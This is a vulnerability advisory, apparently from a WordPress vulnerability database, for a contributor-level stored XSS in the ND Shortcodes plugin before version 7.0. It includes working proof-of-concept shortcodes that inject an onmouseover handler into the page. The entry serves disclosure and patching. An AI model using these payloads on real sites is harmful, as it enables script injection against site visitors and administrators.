WordPress Plugin Vulnerabilities
ND Shortcodes < 7.0 - Contributor+ Stored XSS via Shortcodes
Description
The plugin does not validate and escape numerous of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks
Proof of Concept
[nd_options_team nd_options_class='"onmouseover="alert(/XSS/)//'] [nd_options_team nd_options_color='"onmouseover="alert(/XSS/)//'] [nd_options_testimonial nd_options_class='" onmouseover="alert(/XSS/)" style="background:red;width:100px;height:100px;"'] [nd_options_testimonial nd_options_color='"onmouseover="alert(/XSS/)//'] PS: - Numerous other shortcodes were affected - The WPBakery Page Builder plugin is required to initialize the shortcodes.
Affects Plugins
References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Lana Codes
Submitter
Lana Codes
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2023-06-12 (about 11 months ago)
Added
2023-06-12 (about 11 months ago)
Last Updated
2023-06-12 (about 11 months ago)